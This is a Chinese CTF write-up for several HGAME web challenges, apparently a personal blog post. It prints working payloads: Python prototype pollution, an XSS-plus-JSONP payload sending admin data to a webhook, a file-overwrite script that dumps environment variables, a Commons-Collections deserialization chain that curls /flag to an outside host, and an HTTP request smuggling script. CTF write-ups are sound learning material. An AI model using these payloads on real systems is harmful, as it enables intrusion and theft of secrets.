魔理沙的魔法目录
抓包发现有一个record包和check包


题目说要阅读1小时以上,那该record包的时间,再check一下就可以了

vidarshop

看起来好像是要登上admin

看来2个思路,一个是并发整钱,一个是伪造admin,还有一个是爆破admin

修改余额是要admin权限,要伪造一下token,然后用None算法伪造的token非法

应该是检测了签名什么的

买苹果的包中有uid,然后注册了几个admin2,3的账号发现uid统一都是1413914{1,2,3},那猜测admin是1413914

然后去尝试果然对了,但是余额还是没变,应该是要修改token

发现不行,应该是token没办法伪造

虽然找到了admin的uid,在这个修改余额的地方也返回了获得权限,但是余额就是没变
历经几个小时的搏斗,终于解出来了,上午没解出来然后做其他的去了,下午的时候发现多了一个提示

然后又试到了一个关键点,用一个用户买了apple之后,所有用户的余额都会变为0,然后拿着这些信息问gemini,死活出不来,还走进了死胡同,后面之间不给Gemini多余信息,响应体什么的,然后Gemini给了几个技术词,一个就是原型链污染,然后拿着去搜,看了一篇文章,感觉有点思路了,文章链接:Python原型链污染(prototype-pollution-in-python) - Article_kelp - 博客园
然后就是试payload,其中有个payload直接把环境崩了,因为那个payload是一开始试到info的时候有了提示说method没用balance这个attibute,然后Gemini给生成了一个payload,用了之后直接炸了
1 2 3 4 5 6 7 8 9
| { "info": { "func": { "globals": { "balance": 99999999 } } } }
|
然后看到了文章里的这个

瞬间感觉应该就是了,因为一个用户买了,所有用户余额都扣,应该就是全局变量,果不其然,成功了
1 2 3 4 5 6 7
| { "__init__" : { "__globals__" : { "balance" : 514299999999 } } }
|
又是一个新的知识点


博丽神社的绘马挂
随便点点请求,然后将一些请求体发给Gemini,如search的那个,然后Gemini分析出

后面试了挺多payload,终于成功了
1
| <img src=x onerror="var s=document.createElement('script');window.steal=function(d){fetch('https://webhook.site/aaeaac0c-d907-435b-b060-cb9ee119bffe?f='+btoa(JSON.stringify(d)))};s.src='/api/search?q=Hgame&callback=window.steal';document.body.appendChild(s);">
|
Gemini关于这个payload的详细讲解
第一阶段:点火(绕过 innerHTML 限制)
1
| <img src=x onerror="...">
|
- 背景:题目源码是用 div.innerHTML = content 来渲染愿望的。
- 原理:现代浏览器为了安全,不会执行通过 innerHTML 插入的 标签。
- 绕过:但是,浏览器会执行 HTML 标签中的“事件处理器”(如 onerror, onload, onmouseover)。
- 动作:我们故意给 img 标签设置一个错误的地址 src=x。图片加载失败,瞬间触发 onerror 里面的 JavaScript 代码。这就像是绕过正门,从窗户把“炸药”扔了进去。
第二阶段:设伏(定义“接货”函数)
1 2 3
| window.steal = function(d) { fetch('https://webhook.site/...?f=' + btoa(JSON.stringify(d))) };
|
- 目的:我们需要一个全局函数来接收从 API 接口“偷”来的数据。
- window.steal:在全局作用域定义一个名为 steal 的函数。为什么要全局?因为稍后 JSONP 返回的代码是在全局运行的,它必须能找到这个函数。
- 数据处理:
- JSON.stringify(d):把 API 返回的 JSON 对象变成字符串。
- btoa(…):把字符串进行 Base64 编码。这是为了防止数据里有 &, ?, # 等特殊符号,导致你的 Webhook URL 被截断或报错。
- fetch:最后把编码后的数据像贴小广告一样,拼在你的 Webhook 地址后面发出去。
第三阶段:伪装(绕过 Sec-Fetch-Dest 检查)
1 2 3
| var s = document.createElement('script'); s.src = '/api/search?q=Hgame&callback=window.steal'; document.body.appendChild(s);
|
- 背景:你之前直接访问接口报 403,是因为服务器检查了 Sec-Fetch-Dest 请求头,它只允许 标签发起的请求。
- 原理:虽然 innerHTML 不执行已有的脚本,但它允许你运行 JS。我们利用 JS 动态创建一个新的 标签并插入页面。
- JSONP 核心:
- 我们将脚本的来源指向接口:/api/search。
- 关键参数:callback=window.steal。这告诉服务器:“别光给我数据,请把数据包在一个名为 window.steal() 的函数调用里发给我。”
- appendChild:这一步才是真正的“发包”。标签被插入 DOM 的瞬间,浏览器会认为这是一个合法的脚本请求,带上正确的安全头,去下载这个脚本。
第四阶段:收网(全流程回放)
当 Admin Bot(灵梦)看到你这个愿望时,她的浏览器里发生了以下连锁反应:
- 加载图片失败:
挂了。
- 触发脚本:执行 onerror 里的 JS。
- 定义函数:浏览器知道了“如果有人调用 window.steal,就把参数发给那个 Webhook”。
- 发起请求:浏览器往服务器请求了 /api/search?q=Hgame&callback=window.steal。
服务器响应:服务器看到请求合法,返回了一段 JS 代码:
1
| window.steal([{"username":"admin","content":"hgame{This_Is_The_Flag}"}]);
|
- 执行响应:浏览器下载完这段 JS,立刻执行它。这本质上就是调用了你在第 3 步定义的函数,并将包含 Flag 的数组作为参数传了进去。
- 外发数据:你的函数把拿到的 Flag 进行 Base64 编码,通过 fetch 穿透防火墙发到了你的 Webhook 页面

又学到了一个新点
MyMonitor

打开是一个登录页面,题目还给了源码,直接把go源码丢给Gemini分析


然后根据ai的payload去试即可,这里要注意使用base64编码请求的话,flag会被截断,然后这里用的post请求

Web-My Little Assistant
直接把附件源码给ai分析

也是拿到了

easyuu

打开是一个文件上传的点,没限制文件内容,题目框架是leptos+ruby,然后经过多次测试加上题目的提示uu,对路径进行编码,有一次发现成功了,直接读取到了/etc/passwd

那只要通过api/list接口找到flag文件即可

找了一圈没找到,看看cargo文件,说在lib里,后面发现也没有,无奈只能去把update目录下的easyuu.zip下载下来读源码,然后ai分析

可以看到确实被我们的脚本覆盖了

但是好像并没有执行,后面又重新开了一个Gemini,然后用python脚本发的才成功,吧2个请求体发给ai,发现可能是换行符的问题

然后在环境变量中读到了flag

python脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64
| import requests import time
# 题目地址 TARGET_URL = "http://1.116.118.188:31714" # 记得换成你重启后的新端口
def exploit() : print( f"[*] Target: {TARGET_URL}" )
# 1. 准备恶意 Payload # 使用 0.0.0 作为版本号,防止服务器重启 payload_script = """#!/bin/bash # 尝试把报错也写进去 env > ./uploads/env.txt 2>&1 echo "0.0.1" """
# 2. 上传 Payload 覆盖 ./update/easyuu upload_url = f"{TARGET_URL}/api/upload_file" files = [ ('path1' , (None , './update')) , ('file' , ('easyuu' , payload_script , 'application/octet-stream')) ] proxy={ "http" : "http://127.0.0.1:8083" } print( "[*] Uploading malicious payload..." ) try : r = requests.post( upload_url , files=files , timeout=5 ) if r.status_code == 200 : print( "[+] Upload success!" ) else : print( f"[-] Upload failed: {r.text}" ) return except Exception as e : print( f"[-] Error uploading: {e}" ) return
# 3. 等待触发 (5秒间隔) print( "[*] Waiting 6 seconds for execution..." ) time.sleep( 6 )
# 4. 下载结果 # 注意:如果之前写坏了,这里可能要换个文件名,或者确保环境重置了 result_url = f"{TARGET_URL}/api/download_file/env.txt" print( f"[*] Downloading result from {result_url} ..." )
try : r = requests.get( result_url , timeout=10 ) if r.status_code == 200 : print( "\n" + "=" * 30 ) print( r.text ) print( "=" * 30 ) elif r.status_code == 404 : print( "[-] 404 Not Found. Payload might not have executed yet, or permission denied." ) else : print( f"[-] Error: {r.status_code}" ) except Exception as e : print( f"[-] Download error: {e}" )
if __name__ == "__main__" : exploit()
|
ezcc
cc链的入门小练,把附件解压看到cc是3.2.1版本

那正好就是cc1链,然后在myservet类中找到了2个自定义的序列化/反序列化方法

然后自定义的tool类也很简单

根据Gemini的提示,那我们就可以按着做就行

但是在blackarray中又禁了transformer,那就cc1和cc6都用不了

试了一个上午,ysoserial没成功,然后又是重新开一个Gemini聊天,这次是手动生成的payload,先是试了curl,然后外带数据
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82
| import javassist.ClassPool; import javassist.CtClass; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InstantiateTransformer; import org.apache.commons.collections.map.LazyMap; import org.apache.commons.collections.keyvalue.TiedMapEntry; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javax.xml.transform.Templates; import java.io.*; import java.lang.reflect.Field; import java.util.Base64; import java.util.HashMap; import java.util.Map;
public class Solve { public static void main(String[] args) throws Exception { // 1. 使用 Javassist 动态生成恶意类字节码 ClassPool pool = ClassPool.getDefault(); CtClass clazz = pool.makeClass("HgameExp" + System.currentTimeMillis()); // 随机类名
// 关键点:必须继承 AbstractTranslet CtClass superClazz = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"); clazz.setSuperclass(superClazz);
// 将恶意代码写在构造函数里 // 1. 读取 /flag // 2. base64 编码 (去掉换行符) // 3. 拼接到 curl URL 中 String cmd = "sh -c \"curl http://x.x.x.x/$(cat /flag | base64 | tr -d '\\n')\"";
clazz.makeClassInitializer().setBody("{ java.lang.Runtime.getRuntime().exec(new String[]{\"/bin/sh\", \"-c\", \"" + cmd.replace("\"", "\\\"") + "\"}); }"); //clazz.makeClassInitializer().setBody("{ java.lang.Runtime.getRuntime().exec(\"" + cmd + "\"); }");
byte[] classBytes = clazz.toBytecode();
// 2. 填充 TemplatesImpl TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates, "_bytecodes", new byte[][] {classBytes}); setFieldValue(templates, "_name", "Pwned"); // 这个名字可以随便起 setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
// 3. 构造利用链 (CC3 核心逻辑) Transformer[] transformers = new Transformer[] { new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer( new Class[] { Templates.class }, new Object[] { templates } ) }; ChainedTransformer chain = new ChainedTransformer(transformers);
// 4. 触发器 (CC6 逻辑) Map innerMap = new HashMap(); Map lazyMap = LazyMap.decorate(innerMap, new ConstantTransformer(1)); TiedMapEntry entry = new TiedMapEntry(lazyMap, "dummy");
HashMap map = new HashMap(); map.put(entry, "value"); innerMap.clear();
setFieldValue(lazyMap, "factory", chain);
// 5. 序列化 ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(map); oos.close();
System.out.println(Base64.getEncoder().encodeToString(barr.toByteArray())); }
private static void setFieldValue(Object obj, String field, Object val) throws Exception { Field f = obj.getClass().getDeclaredField(field); f.setAccessible(true); f.set(obj, val); } }
|
然后成功读到

Java安全要学的还有很多啊,都还不算入门
baby-web?
这个题也是看了wp然后来重新复现了,wp中说是有内网
首先查看附件源码,是可以直接上传php的,然后上传一个webshell

没办法,实在太过卡顿,就没去扫了,直接拿现成的服务结果去复现
后面试了很久,靶机上的代理没配置好,没利用成功,就没试了
《文文。新闻》
这个是看了wp才在后面复现出来的,总体就是任意文件读取源码+请求走私
从vite.config.js文件中发现配置错误,可以任意文件读取

对于这个文件,gemini这样解读

然后读取rust源码给Gemini发现可以请求走私

然后通过package.json看看用了哪些库和组件

读取了http_parser后,Gemini解释了漏洞原理以及流程


现在来执行Gemini编写的exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52
| import socket import time
# 配置信息 TARGET_IP = "forward.vidar.club" TARGET_PORT = 30182 # 这是靶机对外的总端口(映射到 proxy.js 的 80) MY_TOKEN = "c7243916-4a9a-482c-939f-88905a8afa27"
def smuggle() : # 1. 构造走私请求 (陷阱) # Content-Length 设为 600,但我们只发了 content=CAPTURED: 这几个字节 # Rust 解析器会停在这里死等剩下的字节凑够 600 trap = ( "POST /api/comment HTTP/1.1\r\n" "Host: 127.0.0.1\r\n" "Content-Type: application/x-www-form-urlencoded\r\n" f"Authorization: {MY_TOKEN}\r\n" "Content-Length: 600\r\n" "\r\n" "content=CAPTURED:" )
# 2. 构造外层包裹 chunk_size = hex( len( trap ) )[ 2 : ] payload = ( "POST /api/smuggle_check HTTP/1.1\r\n" f"Host: {TARGET_IP}\r\n" "Transfer-Encoding: chunked\r\n" "\r\n" f"{chunk_size}\r\n" f"{trap}\r\n" "0\r\n\r\n" )
try : s = socket.socket( socket.AF_INET , socket.SOCK_STREAM ) s.connect( (TARGET_IP , TARGET_PORT) ) s.sendall( payload.encode() ) print( "[*] 走私包已发送,陷阱已布下..." )
# 保持连接一会儿,让 Bot 有机会把数据挤进同一个管道 time.sleep( 2 ) s.close() except Exception as e : print( f"[-] 错误: {e}" )
if __name__ == "__main__" : while True : smuggle() time.sleep( 1 ) # 每隔 1 秒布一次阵
|
然后刷新评论,截取到了bot的请求头
